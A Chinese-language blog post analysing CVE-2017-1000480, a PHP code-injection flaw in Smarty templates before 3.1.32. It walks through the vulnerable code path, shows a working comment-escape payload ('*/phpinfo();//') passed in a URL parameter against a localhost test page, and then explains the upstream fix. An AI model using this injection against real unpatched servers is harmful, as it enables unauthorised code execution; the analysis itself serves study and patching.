Smarty PHP代码执行漏洞分析

说明

按照chybeta的步骤,我们检出6768340的代码,创建index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include_once('./smarty/libs/Smarty.class.php');
define('SMARTY_COMPILE_DIR','/tmp/templates_c');
define('SMARTY_CACHE_DIR','/tmp/cache');
class test extends Smarty_Resource_Custom
{
protected function fetch($name,&$source,&$mtime)
{
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->modifiers = array();
$smarty->enableSecurity($my_security_policy);
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test',new test);
$smarty->display('test:'.$_GET['chybeta']);
?>

我们访问localhost/index.php?chybeta=mymonkey,页面上显示的结果是:

实际由Smarty生成的临时文件的内容是:

其中红框的部分就是输出点,可以看到输出点是存在两个地方分别是在注释中以及在数组中。那么现在问题就很简单了,我们如何通过这两个输出点能够闭合其中的注释或者是代码,从而执行我们加入的代码。

漏洞分析

最终输出的临时文件的是由smarty/libs/sysplugins/smarty_internal_runtime_codeframe.php中的create()函数生成的。create()函数会生成编译之后的临时文件,其中文件内容的对应关系如下所示:

我们通过动态调试的方式来证明上述的对应关系,

第一个输出点:

第二个输出点:

由于第二个输出点是通过var_export()进行输出的,这个是无法控制的,也无法闭合之前的PHP代码,所以第二个输出点我们是无法控制的。

那么唯一可以利用的输出点只有第一个了。由于这个输出点是在注释中。所以我们通过注释的方式进行逃逸。通过*/闭合之前的注释,然后通过//闭合后面的代码。例如我们输入*/phpinfo();//这种方式能够执行我们的代码了。

但是临时文件的文件名与第一个输入点的内容有关,具体代码是位于smarty/libs/sysplugins/smarty_template_compiled.phppopulateCompiledFilepath()中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function populateCompiledFilepath(Smarty_Internal_Template $_template)
{
// 省略代码
$basename = $source->handler->getBasename($source);
if (!empty($basename)) {
$this->filepath .= '.' . $basename;
}
if ($_template->caching) {
$this->filepath .= '.cache';
}
$this->filepath .= '.php';
$this->timestamp = $this->exists = is_file($this->filepath);
if ($this->exists) {
$this->timestamp = filemtime($this->filepath);
}
}

其中$basename = $source->handler->getBasename($source);会得到我们的输入点,在本例中即为mymonkey。**这也就意味着第一个输出点(我们可控的)会作为文件名的一部分。我们跟踪进入到getBasename()中,smarty/libs/sysplugins/smarty_resource_custom.php中。

1
2
3
public function getBasename(Smarty_Template_Source $source) {
return basename($source->name);
}

这个basename()在windows环境下会去掉*/。例如:

1
var_dump(basename("*/phpinfo();//"));       //得到phpinfo();

我们都知道在windows环境下不允许出现*,但是通过basename()刚好可以帮我去掉*,从而能够写入文件。

漏洞复现

我们访问http://localhost/?chybeta=*/phpinfo();//

得到的文件名如下:

临时文件的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/* Smarty version 3.1.32-dev-11, created on 2018-03-05 18:23:51
from "test:*/phpinfo();//" */

/* @var Smarty_Internal_Template $_smarty_tpl */
if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array (
'version' => '3.1.32-dev-11',
'unifunc' => 'content_5a9d1ab79779e9_23019488',
'has_nocache_code' => false,
'file_dependency' =>
array (
'274774065b6a60c5ca4cc96d318809a062c46278' =>
array (
0 => 'test:*/phpinfo();//',
1 => 1520245431,
2 => 'test',
),
),
'includes' =>
array (
),
),false)) {
function content_5a9d1ab79779e9_23019488 (Smarty_Internal_Template $_smarty_tpl) {
?>
CVE-2017-1000480 smarty PHP code injection<?php }
}

页面也显示了phpinfo()的信息。

当然在Linux下文件名可以包括任何字符,所以这个payload在Linux也是可以很好地运行的。

漏洞修复

对比Git提交的文件修改记录,可以发现:对文件进行了三处修改:

*/变为了* /。将生成临时文件的文件名的代码修改为substr(preg_replace('/[^A-Za-z0-9.]/','',$source->name),0,25),即将所有的非字符和数字以及.全部替换为空。

我们可以发现在smarty/libs/sysplugins/smarty_resource_custom.php中的populate()函数修改为:

1
$source->filepath = $source->type . ':' . substr(preg_replace('/[^A-Za-z0-9.]/','',$source->name),0,25);

去掉了所有的非数字、字符以及.。这样就会导致*/全部都会被去掉,那么在进行写入文件时:

这样导致最后写入的文件无法闭合之前的注释。

总结

由于Smarty整个执行编译过程非常的复杂,在加上第一次分析这种编译类型的漏洞,所以导致我整个分析过程都十分的缓慢和痛苦。但是总体来说,这个漏洞还是比较有趣的。

参考

[CVE-2017-1000480]Smarty <= 3.1.32 php代码执行 漏洞分析